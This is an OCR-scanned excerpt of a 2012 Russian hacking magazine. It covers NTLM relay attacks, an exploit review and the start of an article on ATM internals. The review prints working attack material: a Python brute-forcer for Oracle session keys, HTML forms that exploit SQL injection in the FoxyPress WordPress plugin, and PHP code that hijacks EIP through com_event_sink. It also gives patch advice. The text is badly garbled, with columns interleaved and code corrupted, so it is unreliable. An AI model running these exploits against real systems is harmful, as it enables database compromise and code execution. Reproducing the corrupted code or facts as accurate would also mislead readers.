,Щанный выпуск получился каким-то дико виндовым. И потому я добавлю такую <боянистую) задачку. Но с учетом пдобрых вестей с фронта", страшности тулзы и показательных рисунков, я думаю, что будет интересно. Во-первых, теория. Кратко, для напомина-

с hа

-

lls _ .

На самом деле эта задача является продолжением предыдущей. Но из-за ее impact'a я ее вынес в отдельный пункт. Ктомуже Easy

/lMlld..ýц

Что дальше с этим делать? Все просто, подключаем голову, гугл и дирбастер для получения полных имен скриптов и папок, В качестве ограничений стоит отметить. что uгlгеwгittiпg [то есть когда мы не можем обратиться к конкретным файлам/ папкам OCl защитит от этого, Также автор сообщил, что способ не работал против .NET fгаmеwогk 4, но в комментах его блога кто-то утверждал обратное. Почему я так подробно описываю данную атаку и саму фишку коротких имен? Все потому, что в этой <атаке>) используется не какая-то мисконфигурация 0С или бага llS или ASP.NET. а легальная возможность или даже фишка 0С. А потому аналогичные трики в том или ином виде мы можем найти и в других приложениях/языках под винду и такое, в общем-то, было, только примера конкретного я сейчас приводить не буду:). Это значит, есть еще много мест, где можно

12l1b7l2012

-

пароль[точнее, егохеш)

4.

ыiмt Сервер расшифровывает пароль аутентифицироватьли его.

и

решает,

С приходом NTLMv2 и широким распространением новых 0С, где LM и NTLMv1 не используются, пробррить пароль становится не самой простой задачей. Но, как ты, наверное, знаешь и/или видишь, NTLM

-

подвержен другой, возможно даже более глубокой атаке, а именно NTLM геlау. Если что, SMB геlау- это частный случай NTLM геlау. Срь же атаки в том, что мы, заставив жертву к нам подключиться и начать аутентифицироваться по NTLM, можем спокойно перекинугь

(эти попытки>) на сервер, и в итоге мы будем ауrентифицированы под нашей жертвой на сервере и сможем там выполнять любые действия. И еще раз уточню NTLMv2 здесь не спасет.

-


взло]t{/ EASY НАсК Протоколов, пOддерхивающих NTLMаутентификацию,

.

ДОСТаТOЧН0 1,1НOГ0.

ol:fufu aNo-F

релей с любого на любой!

о-]

:Щ: ц

]>.а

(л= () ц ц ьтчй :l--.

:о*]

Ф

о-

о о-

э

(r)

и= о:|!:о -,-.zS

LO L!|oa

F

ц,UU:

у HEKOTOPblx пр0_ тOкOлOв Есть д0_

S,иLOLn

:

пOлнитЕльньlЕ }.,lEPbI зАщитьl.

sеrчеrsidе Теlп1! L2TP

ТАК, ДЛЯ SJtlB

рртр мррЕ

н

HTTPISl

,ori

эт0 пOдпись пАкЕтOв

;i

SMTP

_i_,_]

lMAP RDP

SlP LDAP

I

(,

т, iл

пrплtптl

Вся инфорttация

все описанные програl.tl.tы со всей рубрики ищи

п

Е

редOставлена

искл юч ительн0

Ф

0знакомительных целях. Ни редакция, ни автOр не несут 0тветственнOсти в

(J

Fтр

-

на

диске.

за любой возl.tоlкный

RADIUS

вред, причиненный ],{атериала},lи данной

5м в/сltS

статьи.

MS RPc

MS RPс/HTTP MS SQL

MS мр

Как я уже сказал, SMB геlау - это тот же NTLM геlау. Фишка Мiсгоsоft позволяет включить NТLМ-арентификацию для большинства протоколов! То есть и РOРЗ, и НТТР, и FТР, и Telnet (полный список на рисунке). И что еще важнее, мы, по сути, можем прозрачно релеить с протокола на протокол l То есть кроме классического HTTP2SMB и SMB2SMB существует еще масса вариантов. Конечно, есть свои тонкости. Во-первых, у некоторых протоколов есть дополнительные меры защиты. Так, для SMB - это подпись пакетов, Но это скорее исключение из правил. Во-вторых, не все прOтOкOлы п0 умOлчанию разрешают пOдключаться с использованием NTLM. И в-третьих, для атаки нам надо заставить пользователя подключиться к нам. Так вот, протоколов, которые автоматически пытаются аутентифицироваться по NTLM, тоже не так много [SMB, НТТР]. Но это все в теории. На практике, из того, что я видел во многих компаниях, мы имеем следующее. !ля начала: почти во всех компаниях используется NTLM для аутентификации - КегЬегоs не в моде:]. Почти ни в одной не используются методы защиты на (та же подпись SМВ-пакетов). А самое главуровне протоколов ное почти все компании стремятся к тому, чтобы внедрить единую аутентификацию. То есть подключить NТLМ-аутентификацию везде, где только можно: корпоративные сайты [HTTP/HTTPS), прокси-серверы [HTTP/HTTPS), почта (lМАР, РOРЗ, SMTP), базы данных (MSSaLl и так далее. Конечно, это хорошо один пароль на все системы и удобство администрирования (вроде бы), но это очень-очень не секьюрно. ,Ща, если говорить о стандартном SMB геlау, то нам надо атаковать/ заманивать админа иfили кого-то еще привилегированного. Но когда мы имеем возможность работать с другими протоколами, мы в каком-то смысле можем атаковать всех пользователей. в том, что

-

-

Здесь просто все становится чуть 1,1eHee универсально, так как многое зависит от корпоративной сети. Но в любом случае единая аутентификация на основе NTLM чаще всего приводит к тому, что мы можем достаточно быстро захватить контроль над всей сетью. Например, если есть какой-то критичный саЙт с NTLMаутентификацией, то мы можем заставить какого-нибудь привилегирOваннOг0 пOльзOвателя закOннектиться к нам и релеить данные на сайт. Такая операция в конечном счете поволит нам быть полностью аутентифицированными на сайте. Или, например, если мы срелеим прOстOг0 пOльзOвателя, т0 мOжем пOсканить (пOд ним) шары какOгO-т0 еще хOста и в случае успеха скачать или записать на них какие-то файлы. Ну и обещанная тулза. В Metasploit недавно был добавлен модуль httр_пtlmгеlау, которыЙ позволяет с НТТР релеить на НТТР или SMB. Это вроде бы немного [и почти то же, что и было], но здесь есть ряд отличий. Во-первых, добавлена поддержка NTLMv2 (то есть отключенный NTLMv1 нам теперь не помехаl, ВовтOрых, пOявилась вOзмOжнOсть сOздавать пOследOвательнOсти действий. То есть можно заставить модуль после аутентификации на атакуемом сайте зайти на определенную страницу сайта, вынуть antiCSRF-ToKeH из нее и использовать его для задания следующего запроса. В-третьих, на основании его можно строить аналогичные модули, но для других протоколов. В общем, простор для твOрчества. Более полные примеры и видео можно увидеть здесь (лучше один раз gOo€]l4_qD]L. 0чень рекомендую, как говорится ув

идеть...

D

-

-

Вот и всё на сегодня. Надеюсь, что было интересно:). Используй полученные знания с умом. Успешных ресерчев и познаний нового!

хлкЕр 12l1b7l2012


Не прOпуGкай занятия! zI

I

(

ъ

L

ч,

J,lли пOпрOси

;/\ ,,-

=-.t

,о *..

друга пOставитh lP-KaMBpy в первьlй ряд,

Wi_Fi lP_KaMenl Gтандарта

802.11п

Tv-lP551W $6

^4Ь

__ _l_

:1

]i

1

11

;ri

1-1

l

)

iто !

i ] l]

l\,l il

д

rr

к

i

ii,l 8

L]

с

ц", И[|r ,l-t l: \.-; i,: l, "l_,,, ,_,t.*L! ]l llr-Jp*eT,

1

тRЕпDпет

& ,т

ъ

* Е х


tYARlll}lG Вся инфорtlация предоставлена исключительно в ознакоtчtительных целях. ни редакция, ни автор не несут ответственности эа любой возttоlкный вред, причиненный iiатериала1.1и данной статьи.

*

.\

/ Ъ',,

l(

\ ))

Если отладка процесс -это удаления ошибок, то программирование должно быть процессом их внесения. Э.,.Щейкстра

0бзор

ч,

экспло

и

06ход аутентификации в ОrасIе Database

llIlllllý

щЕ

IAV:

N/AC : L/AU : N/C : Р/l : Р/А:

N

лишь имя пользовател

я и

имябазы данных на сервере.

он запускает процесс аутентификации. Сервер присылает ему зашифрованный идентификатор сессии и соль. Ключом вданном случае выступает не что иное, как пароль + соль. Кроме этого, было замечено, что в идентификаторе сессии последние восемь прямо магия чисел какая-то, позволяюцифр всегда 88888888 щая атакующему с высокой долей вероятности определить, что ключ подобран правильно. Интересно еще, что идентификатор сессии не отсылается на сервер и действия атакующего не попа-

-

J

Протокол аутентификации 0гасlе позволяет удаленному атакующему получить зашифрованный идентификатор сессии и соль произвольного пользователя. На основании этихданных становится возможным провести атакутипа брутфорс. Впервые уязвимость была продемонстрирована общественности исследователем Эстебаном Мартинесом Файо [ЕstеЬап Магtiпеz Fауо) на мероприятии Еkорагtу sесuгitу сопfегепсе, проходившем в Буэнос-Айресе. Интересев тот факт, что исследователь отправил отчет 0гасlе об этой уязвиN4ости в далеком мае 20]0 года. 0гасlе пофиксила его в новой версии протокола в середине 201 1 -го, однако новая версия протоколааутентификации не используется втекущей версии базы данных по умолчанию. И воттолько в середине октября 2012-го выходит патч, который реал ьно делаеттекущие версии базы данных невосприимчивыми к этой уязвимости.

щцЕ Сама по себе атака очень проста. Атакующему необходимо

тов

2 Сервер rеllерирует илеllтифихатор сессии вила session_id

ХхХхХХ,..88888888

З Происхолит ulифроваllие идеll]ифихатора Ellcrylped Session ld = E(session id, SHAl(user

Ellclyptcd Session

Щr-4. знать

!алее

=

Процесс аутентификаци

и в

базе данных 0rасlе

ld;

"^'--€

сессии: paSS+Sall))


Выполнение 2 Роwеr Board произвольноrо кода в lnvision

дают в лOг сервера, так что прOвести атаку мOжно полнOстью незаметно. Эксплойтдля подбора пароля пользователя я помещаю далее:

lllllllllF-

imропt hashIib fгоm Сгурtо.Сiрhег impoгt AES

щЕ Широко известный

def decгypt(session, salt, passwoгd):

успеха уязвимOсти:

plain

= decryptoг.decnypt(session) геtur^п plain

21.10.201?

2З.1

?9.10,2012 З1,1 0.2012-

salt_hex ='А7193Е546377Ес566з9Е' подбираемыми

fог

в

in

Ьпеаk

== ' \х08\х08\х08\х08\х08' IS "%s"' % раsswогd

е

11

1

0.

-

2.0.3, 10,2.0.ц,'l 0.2.0.5, 11,1.0,7, 11,2.0.2

октябрьский патч от 0гасlе - goo.gllPWTYq. Если установка патча не представляется возможной, то существу(костылей>: ет несколько 1. Можно использовать базуданных версии 1 0g, в которой протокол аутентификации не является уязвим ым. 2, Прописать на клиентском и серверном конфиге sqlпеt.ога строчку SQLN ET.ALLOWED_LOGON_VERSlON=1 2, которая задействует новыЙ механизм аутентификации. З. Настроить внешнюю аутентификацию через SSL или службу

L.

г0 в.

конечно же, рекомендуется использовать случайно сгенерированные пароли длиной не менее девяти символов, а лучше все двадцать. Это сильно усложнит подбор пароля за разумный прOмежутOк времени. Ну и

{

:$settingse

{

==

'а, ')

{

}

Уязвимость проявляется при вызове метода uпSегiаlizе, которому передается значен ие пользовательских данных без должной что строка фильтрации. Заложена всего лишь одна проверка

:

ЕцIщ Установить

0

:

пеtuгп unseгialize(stгipslashes(uгldecodee ($_value)));

.2.0.З.

катал

{

$_cookiesSet[$name] ; (1sset($_COOKIEIipsRegistгy: :

$_value = $_COOKIEIipsRegistгy: :$settings[' cookie_id' ] .$паmе] ;

начинается

и

открытых источниках.

if (substг($_value, 0, 2)

его работы необходимо забить свои значения переменных SeSSion_hex и SaIt_hex, которые слегкостью можно узнать при помощи WiгеShагk. 0чевидно также, что потребуется расширение списка подбираем ых паролеЙ, либо три виальная замена его на словари с паролями в виде файлов (таких словарей на просторах Сети огромное количество], либо создание дополнительной функции генерации паролей.

0

в

['cookie_id' ].$паmе]))

-

!ля

IшIЕ гасl Data base Sегvеr

публикация

} else 1f

# Если последние BoceNlb символов идентификатора # 88888888, то принимаеN{ пароль за верный

]

п атча: g оо, g ]/xoatp; номе р CVE за п рошен; назна ч ен CVE-20 1 2-5692;

геtuгп self

salt_hex.decode('hex' ), passwond) ргiпt 'Decгypted session_id fоп раsswогd "%s" is %s' % (раsswогd, session_id. encode( 'hex' ) )

[40:

ости;

в методе lPSCookie::get[) и определен /аdmiп/sоuгсеs/Ьаsе/соге.рhр (строка 40'l 5 и далее]:

session_id = decгypt(session_hex.decode('hex' ), *

'PASSWORD

м

if (isset(self: :$_cookiesSet[$name]))

# flешифруем идентификатор сессии

ргiпt

уязви

вы ход

function get($name)

passwoгds:

if session_id

ие

static public

паролями

['test','раsswопd','огасlе','dеmо']

раsswогd

обна ружен

щцЕ Уязвимый код находится

# соль 10 байт

с

-

0.2012-оповещение вендора;

25.10.2012 25.10.2012

# Зашифрованный идентификатор сессии 48 байт session_hex =' ЕА2O4зсв8в46Ез864зllс68вDс161F8р сА170з63сlЕбt57F 3 Е вс64з5 F 541А8239вбDВАl6ЕААВ5н 4225 5 з д7 59 8 1,4з Ё7 87 67,

passwords =

N/AC : L/AU : N/C :C/l : С/А:С

в узких кругах исследователь безопасности Эджидио Романо lEgidio Rоmапо aka EgiX) обнаружил уязвимость в форумном движке Invision Роwег Воагd, которая позволяет выполнить произвольный РНР-код на целевой системе. История

pass_hash = hashlib.shal(passwond + salt) # flополняем длину ключа шифрования до 24 байт key = pass_hash.digest() +'\х0O\х0O\х0O\х00' dеспурtог = AES.new(key, AES.MODE_сBс)

+ Список

IAV:

-

с символов

(а:>,

этого

-

недостаточно,

чтобы

предот-

вратить внедрение объекта РНР. Атакующий может послать сериализованную строку, которая будет представлять собой массив объектов. Это может быть использовано для исполнения произвольного РНР-кода через метод __destгuct(] класса dbMain, который, в свою очередь, вызывает методwгitеDеЬugLоg для записи отладочной информации в лог-файл. Произвольный РНРкод может быть внедрен исключительно через переменную $_SERVER[' aU ERY_STRl NG'J, поэтомудля успешной эксплуатации уязвимости необходима активированная опция shогt_ореп_ ta9. Скачать эксплойт можно по этой ссылке: goo,g /004Мс.

IilщЕ lnvision Роwег Воагd

З.1.2 и далее вплоть до З.З.'l

.

trцщщ

Установить соответствующее обновление.

1 9

}.l н

orкecTBe_ll.H ble уяз

FохуРrеss Plugin

llllllllll}iy,

щЕ и вновьwогdргеss.

в и

},l

(АV:

ости

в Wo rd

Рrеss

N/AC: L/AU :S/C: P/l : Р/А: Nl

И вновь исследователь Янек Винд [Janekvind uwагахеri, Вот это действительно множественные уязвимости в отчете фигурируют целыхдвадцать пунктов. Этот плагин можно

-

)


смело использовать в качестве образцово-показательного примера небезопасного веб-приложения. Мы рассмотрим наиболее интересные пункты из всего отчета. С полной версией можно

ознакомиться по ссылке ооо.ql/!пzг.

aK,....,...лUTHJ:o.....;?16:l]8j-,...-...лUTB-SID.....8dф-..........,.....J ,ЕА2о. ]1 1(68sо( 16l rЕ(лl 7б]оrс ЕбЕ,7: ]a Kcl з:r:ll AEz зgзовдtоi

Е 9q{!Y' . . , k в8вi6€ ,tбJ {22rr]л75981{ ]Е78767. . .,

щЕ 3агрузка произвольного

1

тв=чFR_Dдтд. . . . . л719]Е5a6]77Ес566]9сl. . . . . . . . лUп-GLоалLLY_UIIIQUЕ-DсID. . .

файла в скрипте dосчmепthапdlег.рhр. Причина уязвимости отсутствие должных проверок в части функциональности загрузки файла. !ля успешной эксплуатации нужно располагать аккаунтом администратора. Кусокуязвимого кода:

8А7зtЕЕ8ЕЕкOЕ9;],{9Е.(Ео8лaа17. ]оо сАaнЕ_сл(н€rА6.....

.......

.

rtm_q<KHB;vцsrzg,

...

]еiiбвва.

.

. . . , . . . . . дrrгх

-

Lt' (!еmрtу($_FILЕS)) $taгgetpath =

in"rЛl.n.r" ($fi

{

ABSPATH. INVENTORY_DL_LOCAL_DIR;

= fохурrеss_GепегаtеNеwFiIеNаmее

1eExtension, $inventory_id,

$taгgetpath, $рпеfiх);

$taгgetpath = $taгgetpath.$newfilename;

if

(move_uploaded_file($_FILES[' Filedata' ]* i, $tагgеtраth) )

[гrrоитьsо-

[ 'tmр_паmе'

Как мы видим, проверками параметров функции, загружающей файл, и не пахнет. В результате атакующий способен загружать на сервер файлы с произвольным расширением. В случае с РНРфайлами это ведет к классическому RCE [удаленному исполнению кода). СценариЙ эксплуатации. 0ткрываем страницу редактирования прOдукта:

http : //localhost/wp342,/wp- admin/post. ро

st =4З&а ct ion=ed

it

php

Находим ссылку под названием Digital Downloads. Кликаем на кнопку<Вгоwsе Files>. Выбираем РНР-файл, который нужно загрузить. В результате появится ссылка, по которой доступен загруженный файл:

аЬ

l

е s /

my_down

1oad_j w82kuO j

_4З . php

Переходим по ссылке и радуемся результату выполнения скрипта. SOL-инъекция в скрипте documenthandleг.php. П р ич и на возникновен ия недостаточная фильтрация пол ьзовательских данных.,Щля успешной эксплуатации потребуется залоги ниться под администратором. Кусокуязвимого кода, начиная со строки ]4:

-

,

(

l, ,пnty($_FILES)

)i

$inventoгy_id = intval( $_BOSTl'inventoгy_id' $downloadabletable = $_РOSТ['ргеfiх' ];

$qчегу = "INSERT INTo

"

$downloadabletable *

. " SET inventoгy_id="' р . $inventoгy_id "' , filename=' " р . mysql_escape_stгing($newfilename) е

]

процессе аутентификации

$wpdb- >qчегу($qчеrу

в

l|1

0rасlе

н

);

Как ты мог заметить, переданный пользователем POSTпараметр 'рrеfix' используется в запросе SOL "INSERT lNT0" в качестве имени таблицы. Здесь нет никакой фильтрации, поэтому атакующий имеет прекрасную возможность вставлять любыеданные влюбыетаблицы в рамкахтекущей базыданных. Пример эксплуатации:

<

z9

в

. "', maxdownloads= '" р . mysql_escape_stning($downloadablemaxdownloads) . "', status = 1"j

<

http : // Iосаlhоst/wрЗ42lwр- content/e i nve nto гу_dоwп 1oad

Перехваченные данные сессии

Г-s,".

htm1 body

> >

сепtег> <fогm action= <

http: //localhost /wрЗ42/wр- admin/laction=foxypгessdownIoad&secuгity=H 844Ь64се45" method="post" enctype="multipant/foгm-data"> <input type="fiJ,e" name="Filedata"> admin

jax.

"

php

<input type="hldden"

name=e

"downIoadablemaxdownloads " value=" ]. " > <input type="hidden" паmе="ргеfiх" чаlче="wапахе">

<input type="submit" value="Test">

);

</fогm>

</сепtег> </body> </htm1>

SOL-инъекция в скрипте fохурrеss-mапа9е-еmаils.рhр. Причина возникновения также недостаточная фильтрация пользOвательских данных, а именно GЕТ-параметр id, ,Щля успешной эксплуатации потребуется залогиниться под администратором. Ниже приведен кусок уязвимого скрипта foxypгess-manage-emails.php, начиная с 14-й строки: {:

i

u п

ct i

о

цlоЬаl

п fохургеs

s_manage_ema

i 1s_page_load

( )

$wpdb;

if (isset($_GET['mode' ]) && $_GET['mode' ]=='edlt'

t

if ( 1sset t

($_POST[' foxy_em_save'

]) )

)


iroJ. = "UPDATE ".

UPDATE wp_foxypness_email_templates

$wpdb->рпеfiх

"foxypгess_email_templates set foxy_email-template_name=' ". $tеmрlаtепаfrё.''', foxy_email_template_subject='

".$subject.''',

foxy_ema il_template_ema i l_body=' " . $content

fоху_еmаil_tеmрlаtе_fгоm='" $fгоm "'

WHERE

email_tempIate_id=". $_GETIid]

.''',

htmI

>

<

body

>

edit

.

php

?

0.ц,2,7l,

mапаgе - emails&mode=edit&id=waгaxe"

<

type="hidden" type="hidden" type="hidden" type="submit"

еmаil_tеmрlаtе_id=wагахе

ЕцIщ 0бновиться

" http ; //}ocalhost / wрЗ42 / wp - admin/post_type=foxypness_pnoduct&page= е

<input <input <input <input

foxy_email_template_fnom='' е WHERE

WоrdРгеss FохуРгеss Plugin

<сепtег> <fогm action=

method= " post'' > name="foxy_em_save" value=''1''> name="templatename'' value=''2''> name="subject" чаlче=''З''>

value="Test">

/fогm>

0./+.2.5.

до последней версии (на момент написания

</body> </html>

Результат работы:

Выполнение произвольного кода в РНР {,_ 5.3.4Win Com ]ч{оdчlе Com sink

lllllllfiф,

щЕ Уязвимость

(

AV: N /АС:

L/A

ч:

N/C: P/l: Р/А:

N

щля начала рассмотрим простейший пример работы с модулем. Следующий код запускает lпtегпеt Ехрlогег и открывает страничку Google:

hjопdргеss database еггог: IUnknown соlчmп 'wагахе' in 'whеге clause']

Учебный Центр N91 в РоGсии!"

цр""Ёffh кСП ЕЦИАл ист,,

Более 1 00О курGов: . этичное xaкepcтBo*"n . Обновленная линеЙка

при МГТУ им. Н.Э.Баумана

курсов Microsoft

(windows 8, Windows sеrvеr 2012, Windows & Visual Studio 2О12, SQL Server 20.12)

. Сетевые технол огии (Unix, Cisco и др.)

. Программирование и СУБД

. Облачные технол огии, вирryализация

. Информационная безопасность . Интернет-технологии

Управление проекга ми и ITSM . Курсы Apple: Мас, iPad, iPhones .

21 год на рынке lТ-обучения!

.Лучщий учебный l-]eHTp Microsoft в России! .Удобный формат обучения: очное, вебинар, открытое

-

была найдена в модуле Com_sink, обеспечивающем возможность взаимодействовать с СOМ и .NET в Windows. 0шибка позволяет атакующему выполнить произвольный код в системе с правами пOльзOвателя, запустившего скрипт.

</сепtег>

и индивидуальное

обучение

Гарантированное расписание на 201 2-201 3 г. . Все преподаватели - практикуюцие специалисты .

е

foxy_email_template_email_body='',

IЕщЕ

;

Пример эксплойта: <

set foxy_email_template_name=' 2', foxy_email_template_subject=' З',

. Подготовка к мФцународным . Гоryдарственные программы

сертификациям подготовки

3апишитеGь Gейчас и

**Подробности смотрите на сайте www.specialist.ru

)m получ ите скидку

a до

2ООБ-

]


*** ERROR: Symbol file could not Ье found. Defaulted to ехропt symbols fог C:\wamp\bin\php\php5.4.З\php5ts.d11 ýе

-

1!.

ýdёо&фt-

ýaxeJDEay /

php5ts ! php_stгftime+Oxadc:

102f59bd

;

St

8Ь06

mov

ds | ао2з : 4З434З4З=?

еах,dwогd

рtг [esi]

? ? ? ? ? ? ?

lo4ado19o

102f59bf 8d4dd4 102f59c2 102f59сЗ 102f59c4 102f59c5 102f59сб

}

3апуск п ростого }.le5sa9eBox'a

<

в РН Р 5.З.1

Win com Module com_si nk

5t 5З 5З 56 ff51t1

}еа

есх, Iebp-2Ch]

push есх push еЬх push еЬх push esi са11 dwогd рtп

[eax+lOh]

Таким образом можем получить контроль над ЕlР:

?php

<

c]ass IEEventSinkeг { vаг $tегmiпаtеd = false;

?php

$eip ="1х44\х4з\х42\х41"; /

function РrоgгеssСhапgе($ргоgгеss,

$рпоgгеssmах) { echo "DoWnload ргоgгеsS: $ргоgгеSS $ргоgгеssmах\п"1

/$еiр= "'ix4b\xe8\x57\x78"j jmp edI

$еах

="

\x80\xаl\x8d\x04"

;

$dеоdгапt=" "; $ахеsргау = stn_repeat($eip.$eax,Ox80)

j

}

function DocumentСomplete(&$dom, $чг1) echo "Document $чп1 соmрlеtе\п";

/

1

}

function OnQuit() echo "Quit!\n";

tJ }

$ie

= пеw

СOМ(

/

{

$trris->tenminated

= tгче;

);

com_meS Sage_pump }

$ie

(

4000

<0х4В32 j $axeeffect++

$deodrant. =$ахеsрпау;

] ] $а[ ] $s [ ] $u[

$г[

{

);

=$dеоdгапt;

=$dеоdгапt.$tегmiпаtе; =$deodnant. $tenmlnate; =$deodгant. $tегmlпаtе;

$чVаг =

= nulI;

пеLл VARIANT(OIO4\1OOOO+180).;

$Ьuffег = "\х9O\х9O\хсс\хсс\х41,\<много_х41>";

?>

$чаг2 = neLt VARIANT(Ox41-4\4242)з

Первый аргументв вызове соm_еvепt_siпk-адрес вызываемого СOМ-объекта, и он определяется пользователем. Никаким

com_event_sink( $vVan, $чап2, $buffen

дOполнительным

прOверкам этOт адрес не пOдвергается,

и

$buffег = stг_гереаt("В", 1аа0);

This exception

mау Ье expected and handled. eax=048d018o еЬх=оаооовоо ecx=ooclf9bo edx=0114dbc8 esi=048dOOb4 edi=0114dc20 eip=41414141 esp=Ooclfg74 еЬр=66.119ос iop1=0 nv up ei р1 zг па ре nc

?>

cs=001b ss=oo2з ds=оо2з es=o023 fS=O0зЬ

Сам Access Violation: IOOOOO0\

(fiгst сhапсе)

chance exceptions аге герогtеd Ьеfоге any exception handIing.

This exception mау Ье expected and handled. еах=оооOоооо еЬх=оооооооо есх=ооз72аdо edx=o114dd88

еsi=43434з4з edi=0114d9b8 elp=lozf59bd esp=60clf988 ebp=96.1fndc iop1=0 nv up ei р1 zг па ре nc cs=001b ss=оо2з ds=оо2з еs=оо2з fS=O0зЬ gS--оооо еfl=оооlQ246

(cbO.7d4): Access violation - code сОаОООО5 (fiгst chance) chance exceptions аге герогtеd Ьеfоге апу

exception handllng.

$чVаг = new VАRIАNТ(0х4З43434З)j $чVаг2 = пеw VARIANT(Ox41414141); com_event_sink($vVaг, $чVаг2 , $Ьчffег );

(ЗlО.lfс): Access violation - code

В результате запуска скрипта будем наблюдать следующее:

Fiгst

?php

First

);

?>

этот

адрес используется напрямую. Пример кода, приводящего к Access Violation: <

)

$teгminate = "т";

//www. googIe. com" ) ;

while( !$sink->teгminated)

-- 4вз2 4ьOа $axeeffect=0; $axeeffect

}

com_event_sink($ie, $sink, "DWebBгowseгEvents2" ); $ie->Visible = tгuе; :

г (

{

"IпtегпеtЕхрlогег.Аррliсаtiоп"

;

/19?оа

fo

$sink = new IEEventsinkeг(); $1е- >Navigate( "http

/o48da\9o

echo stгIеп($ахеsргау)

gs=oooo

еfl=оооlо246

4I4I41,4\ ?? ??? Загрузить свой шелл-код пусть останется в качестве домашнег0 задания.

РНР 5.З.4 и, возможно, более ранние.

щцIщ Существует обновление,

устраняющее данную уязвимость.

fE


-]

d '

ц


Взло].{

0льга Кочетова lolga,v.kochetovaOgmail.coml

КРАТКИИ КУРС ПРЕПАРАЦИИ

AUTOMATED

TELLER

мАснlNЕ

Сколько денег в банкомате? Что интересного

есть внутри? Безопасен ли этот девайс? Как спастись от злоумышленников и чт0 делать, если все-таки попался на крючок? для нАчАлА нЕмнOг0 истOрии

Идея банковской автоматической денежной машины [АТМ - Automated Теllег Machine] в разнOе время прихOдила незнакOмым друг другу личностям в Японии, Великобритании, США, Швеции, но первым попытался зафиксировать ее Лютер ,Щжордж Симджян. Автор наделил устройство функцией выдачи наличных без списания средств со счета на тот момент {19З9 год] такой технической возможности не существовало. Армяно-американский [по некоторым данным турецко-американский] изобретатель различных устройств и обладатель более 200 патентов, Симджян предложил опробовать аппарат одному из крупнейших американских банков City Bank of New Yогk, однако через несколько месяцев банкиры отказались 0т нOвшества, так как не пOсчитали его применение необходимым, Так лавры первопроходца достались !жону Шеперд-Бэррону, работавшему по заказу компании De La Ruе [6ританский всемирно известный производитель бланков ценных бумаг и банковского оборудования}. 0н обратился со своей идеей в банк Вагсlауs, руководство кOтOрOг0 0казалOсь дальнOвиднее свOих американских кOллег и пOдписал0 дOгOвOр, п0ложивший начало истории банкоматов. Первый и на тот момент единственный банкомат был установлен в северном боро Лондона, Энфилде, 27 июня'l967 года в отделении Вагсlауs. БанкOмат выдавал деньги п0 специальным чекам, которые нужно было заранее получать в банке. Максимальная сумма, доступная для снятия в банкомате в конце 60-х, составляла 1 0 фунтов. Через несколько лет к чеку стали выдавать идентификационный номер, прототип нынешнего РlN-кода [PlN Регsопаl ldentif ication

-

-

070

NumЬег). Запатентовал систему аутентификации на основе машиночитаемой карты и секретного кода к ней другой талантливый шотландец,

инженер и изобретатель !жеймс Гудфеллоу. Впервые массOво банкоматы установил в 1972 году американский Citibank, бывший City Bank of New Yоrk - тот самый банк, который ранее отказался от устройства, предложенного Симджяном. Первые опIiпе-банкоматы, носившие название cash-point, по��вились в 1972 году в британском банке Lloyds, Разработанные компанией lBM устройства работали с пластикOвыми картами, 0снащенными магнитной полосой. Позднее появились банкоматы с функцией приема наличных (Cash lп] и банкоматы с замкнутым оборотом наличности [Cash Recyclingl.

нАши дни

статистика показывает, что сейчас насчитывается более 2,45 миллиона устройств по всему миру; самый северный банкомат установлен в поселке Лонгйир на острове Шпицберген (LопgуеагЬуеп, SчаlЬагd, Nогwау), а самый южный - на станции Мак-|'ч'lердо в Антарктиде [МсМuгdо Station, Апtагсtiса]. К лидерам мирового рынка банкоматов принято относить так называемую большую тройку американцев NCR и Diebold и немцев Wiпсог Niхdогf. В последние годы в России к ним присOединились вOстOчные сOседи корейцы Nautilus Hyosung. С недавнего времени российские кардхолдеры [сагdhоldег

-

-

держатель карты) имеют возможность обслуживания на банкоматах отечественного производства DORS. По способу установки современные банкоматы делятся на Lobby {для установки внутри помещений) и Тhгоugh The Wall [для установки через стену). С точки зрения функционала банкоматы можно разделить на Cash 0ut (классический банкомат на выдачу), Cash lп + 0ut [выдача + прием, полнофункциональный] и Cash Recycling lзамкнутый оборот наличности). <Начинку, для банкоматов производят несколько фирм, и устройства разных вендоров, по сути, представляют собой набор стандартных кOмплектующих.

А чт0

внутри?

В верхней части А-М, именуемой сервисной

зоной или кабинетом, обычно располагаются системный блок, модуль спецэлектроники, картридер, криптоклавиатура, чековый принтер, видеонаблюден ие. Часть банкоматов 0снащена журнальными принтерами, также располагающимися в кабинете. Журнальник предназначен для записи лога работы банкомата. В современных моделях его заменил электронный журнал, целостность которого контролируется цифровой подписью.

СИСТЕМНИК 0БЫКНOВЕННЫЙ

-

Мозг банкомата системный блок с традиционным наполнением. На расположенном внутри жесткOм диске устанOвлена 0перациOнная система с необходимым набором драйверов и прикладного П0. 0бычно это Windows

хдкЕр 12l1b7l2012


Банкомат: история болезни

СПЕЦЭЛЕКТРOНИКА

ХР SР2lSРЗ, изредка встречаются Embedded/ РOSRеаdу-варианты и уж совсем редко Windows NT и <динозавро 0S/2. Некоторые труЪ-банкоматы работают под Linux'oM.

сOФт и 0БмЕн

дАнными

Прикладное П0 у каждого производителя собственное, разработанное в соответствии с 0траслевыми стандартами и спецификациями. ПП0, с одной стороны, представляет собой интерфейс обслуживания и шину связи с прошину взаимодействия цессингом, с другой с периферийными устройствами, Управление банкоматом происходит обычно по dс-протоколу; NDC или DDC - diгесt соппесt протоколы, разработанные компаниями NCR и Diebold соответственно. 0стальные производители либо разрабатывают собственный диалект, либо пользуются нативным. Суть dcпротокола в том, что АТМ выполняет команды прOцессинга, не принимая решений на уровне устройства. Все команды, оIветы и состояния 0писаны определенным набором и последовательностью цифр и букв, Невозможно внедриться в (разговор> машины и прOцессинга, не зная прOтокола и особенностей настроек для конкретного

-

устройстваl

Информация о транзакциях шифруется уровне ПП0 или устройств и передается в прOцессинг по защищенному каналу, обычно по протоколу TCP/lP [очень редко по Х.25). Способ передачи данных и ее защиты выбирается исходя из особенностей организации сети, с испOльзOванием специального оборудования. гlа

иБп Корректное завершение работы при отключении электричества обеспечивает источник бесперебойного питания. 0бычно заряда батареи достаточно, чтобы закончить текущую операцию и перевести банкомат в режим обслужива"Не 91" [или завершить работу, в зависимости от настроек), но существуют модели UPS, поддерживающие рабочий режим устройства от батареи на прOтяжении нескOльких десяткOв минут.

Камера. Габаритами сравнима

хдкЕр

12116712012

с

батарейкаttи типоразr.rера

С

